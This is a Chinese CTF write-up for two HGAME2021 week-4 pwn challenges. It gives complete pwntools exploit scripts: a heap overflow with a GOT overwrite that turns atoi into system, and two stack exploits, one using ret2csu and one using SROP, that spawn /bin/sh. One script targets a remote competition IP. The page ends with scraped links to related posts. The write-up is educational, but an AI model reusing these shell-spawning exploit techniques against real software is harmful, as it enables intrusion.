HGAME2021 week4 pwn writeup
第四周只放出两道题,也不是很难。
house_of_cosmos
没开pie,并且可以打got表。
在自写的输入函数存在漏洞。当a2==0时,因为时int类型,这里就会存在溢出。菜单题,但是没有输出功能。
思路:利用溢出将chunk申请到bss段,控制chunk指针,改写free为puts函数,进行泄露libc地址,改写atoi为system拿shell。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 libc = ELF('./libc.so.6')
6 context.log_level = 'debug'
7
8 def duan():
9 gdb.attach(p)
10 pause()
11 def add(size,content):
12 p.sendlineafter('choice >> ','1')
13 p.sendlineafter('data? >> ',str(size))
14 p.sendafter('someting >> ',content)
15 def delete(index):
16 p.sendlineafter('choice >> ','2')
17 p.sendlineafter('id >> ',str(index))
18 def edit(index,content):
19 p.sendlineafter('choice >> ','4')
20 p.sendlineafter('id >> ',str(index))
21 p.sendlineafter('something >> ',content)
22
23 puts_plt = 0x00401040
24
25 add(0x0,'aaaaaaa\n') #0
26 add(0x68,'bbbbbbb\n') #1
27 add(0x10,'ccccccc\n') #2
28 delete(1)
29 edit(0,'a'*0x10+p64(0)+p64(0x71)+p64(0x4040a0-3))
30 add(0x68,'aaaaaaa\n') #1
31 delete(2)
32 add(0x68,'zzz'+'zzzzzzzz'*2+p64(0x0404018)+'\x80\n') #2
33 edit(0,'\x46\x10\x40\x00\x00\n')
34 edit(2,'zzz'+'zzzzzzzz'*2+p64(elf.got['puts'])+'\x80\n') #2
35 delete(0)
36 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-libc.symbols['puts']
37 print 'libc_base-->'+hex(libc_base)
38 system = libc_base+libc.symbols['system']
39 edit(2,'zzz'+'zzzzzzzz'*2+p64(elf.got['atoi'])+'\x80\n') #2
40 edit(0,p64(system)+'\n')
41 p.sendlineafter('choice >> ','/bin/sh\x00')
42 p.interactive()
rop_senior
感觉这题应该是想考srop的,因为没有pop_rdi_ret的片段可以使用。但是程序不是用汇编写的,所以存在csu。可以利用csu给寄存器赋值,泄露libc地址来做。(非预期)
1 from pwn import *
2 from LibcSearcher import *
3 #p = process('./pwn')
4 p = remote('159.75.113.72',30405)
5 elf = ELF('./pwn')
6 context(os='linux',arch='amd64',log_level='debug')
7
8 csu_end = 0x004006CA
9 csu_front = 0x004006B0
10 csu_front1 = 0x004006B6
11 puts_got = elf.got['puts']
12 vuln = 0x0040062A
13 start = elf.symbols['_start']
14 og = [0x4f3d5,0x4f432,0x10a41c]
15
16 payload = 'a'*0x8 # r12->call r13->rdx r14->rsi r15->rdi
17 payload += p64(csu_end)+p64(0)+p64(1)+p64(puts_got)+p64(puts_got)+p64(puts_got)+p64(puts_got)+p64(csu_front1)+'a'*0x38+p64(start)
18
19 p.sendafter('best\n',payload)
20 puts = u64(p.recvuntil('\x7f').ljust(8,'\x00'))
21 libc = LibcSearcher("puts",puts)
22 libc_base = puts-libc.dump("puts")
23 system = libc_base+libc.dump("system")
24 binsh = libc_base+libc.dump("str_bin_sh")
25 print 'libc_base-->'+hex(libc_base)
26 shell = libc_base+og[2]
27
28 payload = 'a'*0x8+p64(shell)
29 p.send(payload)
30 p.interactive()
预期解是用srop做,其实还是有点手生,当时没做,赛后看了一眼wp写出来的。
1 from pwn import *
2
3 p = process('./pwn')
4 elf = ELF('./pwn')
5 context(os='linux',arch='amd64',log_level='debug')
6
7 bss = elf.bss()+0x100
8 vuln = 0x40062a
9 syscall = 0x400647
10
11 sigframe = SigreturnFrame()
12 sigframe.rax = constants.SYS_read
13 sigframe.rdi = 0
14 sigframe.rsi = bss
15 sigframe.rdx = 0x400
16 sigframe.rsp = bss
17 sigframe.rip = syscall
18 p.sendafter('best', 'a'*8 + p64(vuln) + p64(syscall) + str(sigframe))
19 p.sendafter('best', 'a'*8 + p64(syscall)[:7])
20
21 sigframe = SigreturnFrame()
22 sigframe.rax = constants.SYS_execve
23 sigframe.rdi = bss + 0x200
24 sigframe.rsi = 0x0
25 sigframe.rdx = 0x0
26 sigframe.rip = syscall
27 p.send(('a'*8 + p64(vuln) + p64(syscall) + str(sigframe)).ljust(0x200,'b') +"/bin/sh\x00")
28 p.sendafter('best','a'*8 + p64(syscall)[:7])
29 p.interactive()
后记
持续一个月的hgame结束了!
HGAME2021 week4 pwn writeup的更多相关文章
- HGAME2021 week3 pwn writeup
一共放出五道题,都不是很难. blackgive 考栈转移,值得注意的一点是转移过去先填充几个ret,因为如果直接在转移过去的地方写rop链,执行起来会覆盖到上面的一些指针,导致程序不能正常输入和输出 ...
- HGAME2021 week2 pwn writeup
week2一共有4道pwn题 killerqueen 有格式化字符串漏洞,题不算难,但是故事情节真实让人摸不着头脑,但是仔细分析分析,理清楚逻辑就可以做了. 第一次choose1的时候,可以输入0,泄 ...
- Jarvis OJ - 栈系列部分pwn - Writeup
最近做了Jarvis OJ的一部分pwn题,收获颇丰,现在这里简单记录一下exp,分析过程和思路以后再补上 Tell Me Something 此题与level0类似,请参考level0的writeu ...
- 攻防世界新手区pwn writeup
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...
- ISCC2018 Reverse & Pwn writeup
Reference:L1B0 Re RSA256 春秋欢乐赛原题..flag都不变的 给了三个加密文件和公钥证书public.key,可以使用openssl进行处理 $openssl rsa -pub ...
- 虎符2021线下赛pwn writeup
jdt 一个图书管理系统,但并不是常规的堆题.edit和show函数可以越界.edit函数和show函数相互配合泄露libc基地址,将main函数的返回地址覆盖成onegadgets拿shell. f ...
- NepCTF pwn writeup
上周抽时间打了nepnep举办的CTF比赛,pwn题目出的挺不错的,适合我这种只会一点点选手做,都可以学到新东西. [签到] 送你一朵小红花 64位程序,保护全开. 程序会在buf[2]处留下一个da ...
- 2020ACTF pwn writeup
为了打2021的ACTF,想着把2020年的pwn题做一做吧,发现2020年的pwn题质量还挺高的.反倒是2021年的题目质量不太高,好像是没有专门的pwn师傅出题,可以理解,毕竟办校赛,说白了就是用 ...
- SWPUCTF 2019 pwn writeup
来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...
随机推荐
- [loj3346]交换城市
观察可得,$(x,y)$能相互到达当且仅当:1.$x$和$y$联通:2.$x$和$y$所在的连通块不为链 根据这个结论,可以二分枚举答案+暴力判定,复杂度$o(qm\log_{2}1e9)$,可以通过 ...
- ound interface org.elasticsearch.common.bytes.BytesReference, but class was expected
es得版本和本地项目不一致.. 配置es版本,现在使用得是5.2得版本,可是 maven上看到 elasticsearch-rest-high-level-client 最低也得6版本.下载安装高版本 ...
- 『学了就忘』Linux权限管理 — 53、ACL权限详解
目录 1.什么是ACL权限 2.开启ACL 3.ACL权限的相关命令 (1)设定ACL权限 (2)查询文件的ACL权限 (3)设置文件ACL权限给用户组 (4)给文件夹和里边的文件同时赋予ACL权限 ...
- 洛谷 P4135 作诗(分块)
题目链接 题意:\(n\) 个数,每个数都在 \([1,c]\) 中,\(m\) 次询问,每次问在 \([l,r]\) 中有多少个数出现偶数次.强制在线. \(1 \leq n,m,c \leq 10 ...
- 生物信息Linux用户创建与配额设置
创建一个新用户,并配置使用. create_usr.sh: #/usr/bin/bash user=$1 password="123" useradd ${user} -g met ...
- SR4R数据库:水稻4个SNP集的筛选及其应用
目录 前言 四个SNP集 hapmapSNPs tagSNPs fixedSNPs barcodeSNPs hapmapSNPs的指标统计 tagSNPs的群体结构验证 tagSNPs的遗传多样性 t ...
- python3安装,支持openssl,支持采集https
python3安装,支持openssl,支持采集https 坑好多,特别是安装的时候,各种不匹配,服务器默认配置是python2,升级3后,采集的时候用到openssl,花了两天也没搞定各种错误,也许 ...
- URI和URL的区别(转)
转载:http://www.cnblogs.com/gaojing/archive/2012/02/04/2413626.html 这两天在写代码的时候,由于涉及到资源的位置,因此,需要在Java B ...
- mysql端口查看与修改-netstat命令使用
linux上使用netstat察看mysql端口和连接 linux上使用netstat察看mysql端口和连接 近日发现写的一个java程序的数据库连接在大压力下工作不打正常,因此研究了一下dbcp, ...
- CSS区分Chrome和Firefox
CSS区分Chrome和FireFox 描述:由于Chrome和Firefox浏览器内核不同,对CSS解析有差别,因此常会有在两个浏览器中显示效果不同的问题出现,解决办法如下: /*Chrome*/ ...